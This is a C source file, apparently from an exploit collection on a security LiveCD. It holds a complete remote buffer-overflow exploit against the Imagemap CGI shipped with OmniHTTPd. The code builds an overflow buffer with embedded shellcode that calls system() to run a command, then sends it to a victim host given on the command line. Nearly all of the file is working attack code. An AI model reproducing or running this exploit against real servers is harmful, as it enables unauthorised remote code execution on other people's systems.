home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / omni / omnihttpd.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  3.9 KB  |  127 lines
  1. /*=============================================================================
  2.    Imagemap 1.00.00 CGI Exploit (Distributed with OmniHTTPd 1.01 and Pro2.04)
  3.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  4.    Written by UNYUN (shadowpenguin@backsection.net)
  5.   =============================================================================
  6. */
  7. #include    <stdio.h>
  8. #include    <string.h>
  9. #include    <windows.h> 
  10. #include    <winsock.h>
  11.  
  12. #define     MAXBUF          2000
  13. #define     RETADR          348
  14. #define     JMPADR          344
  15. #define     HTTP_PORT       80
  16.  
  17. unsigned int mems[]={
  18. 0xBFB50000, 0xBFB72FFF,  0xBFDE0000, 0xBFDE5FFF,
  19. 0xBFE00000, 0xBFE0FFFF,  0xBFE30000, 0xBFE42FFF,
  20. 0xBFE80000, 0xBFE85FFF,  0xBFE90000, 0xBFE95FFF,
  21. 0xBFEA0000, 0xBFF1EFFF,  0xBFF20000, 0xBFF46FFF,
  22. 0xBFF50000, 0xBFF60FFF,  0xBFF70000, 0xBFFC5FFF,
  23. 0xBFFC9000, 0xBFFE2FFF,
  24. 0,0};
  25.  
  26. unsigned char exploit_code[200]={
  27. 0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
  28. 0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
  29. 0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
  30. 0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
  31. 0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
  32. 0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
  33. 0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
  34. 0xFF,0x00
  35. };
  36.  
  37. unsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe";
  38.  
  39. unsigned int search_mem(unsigned char *st,unsigned char *ed,
  40.                 unsigned char c1,unsigned char c2)
  41. {
  42.     unsigned char   *p;
  43.     unsigned int    adr;
  44.  
  45.     for (p=st;p<ed;p++)
  46.         if (*p==c1 && *(p+1)==c2){
  47.             adr=(unsigned int)p;
  48.             if ((adr&0xff)==0) continue;
  49.             if (((adr>>8)&0xff)==0) continue;
  50.             if (((adr>>16)&0xff)==0) continue;
  51.             if (((adr>>24)&0xff)==0) continue;
  52.             return(adr);
  53.         }
  54.     return(0);
  55. }
  56.  
  57. main(int argc,char *argv[])
  58. {
  59.     SOCKET               sock;
  60.     SOCKADDR_IN          addr;
  61.     WSADATA              wsa;
  62.     WORD                 wVersionRequested;
  63.     unsigned int         i,ip,p1,p2;
  64.     static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000];
  65.     struct hostent       *hs;
  66.  
  67.     if (argc<2){
  68.         printf("usage: %s VictimHost\n",argv[0]); return -1;
  69.     }
  70.     wVersionRequested = MAKEWORD( 2, 0 );
  71.     if (WSAStartup(wVersionRequested , &wsa)!=0){
  72.         printf("Winsock Initialization failed.\n"); return -1;
  73.     }
  74.     if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
  75.         printf("Can not create socket.\n"); return -1;
  76.     }
  77.     addr.sin_family     = AF_INET;
  78.     addr.sin_port       = htons((u_short)HTTP_PORT);
  79.     if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  80.             if ((hs=gethostbyname(argv[1]))==NULL){
  81.                 printf("Can not resolve specified host.\n"); return -1;
  82.             }
  83.             addr.sin_family = hs->h_addrtype;
  84.             memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
  85.     }
  86.     if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
  87.         printf("Can not connect to specified host.\n"); return -1;
  88.     }
  89.     memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
  90.     for (i=0;;i+=2){
  91.         if (mems[i]==0) return FALSE;
  92.         if ((ip=search_mem((unsigned char *)mems[i],
  93.             (unsigned char *)mems[i+1],0xff,0xe3))!=0) break;
  94.     }
  95.     buf[RETADR  ]=ip&0xff;
  96.     buf[RETADR+1]=(ip>>8)&0xff;
  97.     buf[RETADR+2]=(ip>>16)&0xff;
  98.     buf[RETADR+3]=(ip>>24)&0xff;
  99.     buf[JMPADR  ]=0xeb;
  100.     buf[JMPADR+1]=0x06;
  101.  
  102.     strcat(exploit_code,cmdbuf);
  103.     p1=(unsigned int)LoadLibrary;
  104.     p2=(unsigned int)GetProcAddress;
  105.     exploit_code[0x0d]=p1&0xff;
  106.     exploit_code[0x0e]=(p1>>8)&0xff;
  107.     exploit_code[0x0f]=(p1>>16)&0xff;
  108.     exploit_code[0x10]=(p1>>24)&0xff;
  109.     exploit_code[0x1e]=p2&0xff;
  110.     exploit_code[0x1f]=(p2>>8)&0xff;
  111.     exploit_code[0x20]=(p2>>16)&0xff;
  112.     exploit_code[0x21]=(p2>>24)&0xff;
  113.  
  114.     memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
  115.     sprintf(packetbuf,"GET /cgi-bin/imagemap.exe?%s\r\n\r\n",buf);
  116.     send(sock,packetbuf,strlen(packetbuf),0);
  117.     closesocket(sock);
  118.     printf("Done.\n");
  119.     return FALSE;
  120. }
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.